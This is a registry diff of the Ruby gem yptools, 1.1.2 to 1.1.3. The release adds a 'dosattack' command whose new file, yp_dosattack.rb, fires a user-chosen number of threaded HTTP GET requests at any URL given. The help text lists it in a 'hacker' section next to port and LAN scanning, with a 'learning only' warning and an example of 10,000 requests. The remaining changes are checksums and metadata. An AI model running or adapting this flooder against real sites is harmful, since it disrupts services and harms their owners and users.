yptools 1.1.2 → 1.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/yptools/dosattack/yp_dosattack.rb +52 -0
- data/lib/yptools/help/yp_help.rb +4 -2
- data/lib/yptools.rb +7 -0
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: a823a2bc7da0e01f28d2c0d70f268c4641970dd7681609ebd6f58c1fa89bdaaf
|
4
|
+
data.tar.gz: 1cc88e0353cb745bb043f06115a0556514d72f6365daf4a931599227d410d731
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: b9ddd0a94e0aa79b51d835827a4eb5017527e1ef43f4e3f647c04de43fd6574c0f5a12f8216897de8926feea9d772d2b46dcfa1b54050040854bede8003941df
|
7
|
+
data.tar.gz: b04456427417ca5df62a22317f24d9267aa79f0a74fd00ade655ed4f9b823cc17d588b07e7c310e2fd05f6d690433528766c1d85a70d291caec6be813adc333d
|
@@ -0,0 +1,52 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'uri'
|
3
|
+
|
4
|
+
class YPDosAttack
|
5
|
+
def self.dosattack(argvs)
|
6
|
+
url = argvs[1]
|
7
|
+
request_count = argvs[2]
|
8
|
+
|
9
|
+
uri = URI(url) # 修改为你想要请求的网址
|
10
|
+
|
11
|
+
n = 10 # 发送 10 个请求
|
12
|
+
concurrency = 5 # 使用 5 个线程
|
13
|
+
if request_count
|
14
|
+
n = request_count.to_i
|
15
|
+
end
|
16
|
+
|
17
|
+
success_count = 0 # 计数器,记录成功次数
|
18
|
+
failure_count = 0 # 计数器,记录失败次数
|
19
|
+
|
20
|
+
mutex = Mutex.new # 互斥锁,用于对计数器的操作加锁
|
21
|
+
|
22
|
+
responses = Array.new(n) # 用于保存响应结果的数组
|
23
|
+
|
24
|
+
threads = []
|
25
|
+
|
26
|
+
n.times do |i|
|
27
|
+
threads << Thread.new do
|
28
|
+
begin
|
29
|
+
response = Net::HTTP.get_response(uri)
|
30
|
+
mutex.synchronize do
|
31
|
+
if response.is_a?(Net::HTTPSuccess)
|
32
|
+
success_count += 1
|
33
|
+
else
|
34
|
+
failure_count += 1
|
35
|
+
end
|
36
|
+
end
|
37
|
+
puts "当前请求结果 #{response.code} #{response.message}" + " -------- #{failure_count + success_count}"
|
38
|
+
rescue StandardError => e
|
39
|
+
failure_count += 1
|
40
|
+
puts "当前请求结果 #{e}" + " -------- #{failure_count + success_count}"
|
41
|
+
end
|
42
|
+
end
|
43
|
+
|
44
|
+
threads.pop(concurrency - 1).each(&:join) if threads.size >= concurrency
|
45
|
+
end
|
46
|
+
|
47
|
+
threads.each(&:join)
|
48
|
+
|
49
|
+
puts "成功次数: #{success_count},失败次数: #{failure_count}"
|
50
|
+
|
51
|
+
end
|
52
|
+
end
|
data/lib/yptools/help/yp_help.rb
CHANGED
@@ -28,9 +28,11 @@ class YPHelp
|
|
28
28
|
use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
|
29
29
|
|
30
30
|
🤡🤡🤡 - hacker
|
31
|
-
portscan: use [yptools portscan <ip地址或域名> [<端口范围>]] 扫描指定 IP 端口是否开放
|
32
|
-
|
33
31
|
scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
|
32
|
+
|
33
|
+
portscan: use [yptools portscan <ip地址或域名> [<端口范围>]] 扫描指定 IP 端口是否开放
|
34
|
+
|
35
|
+
dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告:此方法仅用于学习使用」 ip=请求域名 n=攻击次数 (eg: yptools dosattack https://example.com 10000)
|
34
36
|
|
35
37
|
💩💩💩 - 帮助(help)
|
36
38
|
help: use [yptools help] 查看帮助
|
data/lib/yptools.rb
CHANGED
@@ -13,6 +13,7 @@ require_relative 'yptools/autocre/yp_autoinit'
|
|
13
13
|
require_relative 'yptools/chatai/yp_chatai'
|
14
14
|
require_relative 'yptools/portscan/yp_portscan'
|
15
15
|
require_relative 'yptools/scanlocalips/yp_scanlocalips'
|
16
|
+
require_relative 'yptools/dosattack/yp_dosattack'
|
16
17
|
|
17
18
|
class YPTools
|
18
19
|
|
@@ -113,6 +114,8 @@ class YPTools
|
|
113
114
|
end
|
114
115
|
when 'scanlocalips'
|
115
116
|
self.scanlocalips
|
117
|
+
when 'dosattack'
|
118
|
+
self.dosattack argvs
|
116
119
|
else
|
117
120
|
self.help
|
118
121
|
end
|
@@ -179,6 +182,10 @@ class YPTools
|
|
179
182
|
YPScanLocalIPs.scanlocalips()
|
180
183
|
end
|
181
184
|
|
185
|
+
def self.dosattack(argvs)
|
186
|
+
YPDosAttack.dosattack(argvs)
|
187
|
+
end
|
188
|
+
|
182
189
|
end
|
183
190
|
|
184
191
|
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: yptools
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.1.
|
4
|
+
version: 1.1.3
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- chenghengsheng
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-03-
|
11
|
+
date: 2023-03-27 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: bundler
|
@@ -135,6 +135,7 @@ files:
|
|
135
135
|
- lib/yptools/autocre/yp_autocre.rb
|
136
136
|
- lib/yptools/autocre/yp_autoinit.rb
|
137
137
|
- lib/yptools/chatai/yp_chatai.rb
|
138
|
+
- lib/yptools/dosattack/yp_dosattack.rb
|
138
139
|
- lib/yptools/file/yp_updatecreatedate.rb
|
139
140
|
- lib/yptools/help/yp_help.rb
|
140
141
|
- lib/yptools/install/yp_install.rb
|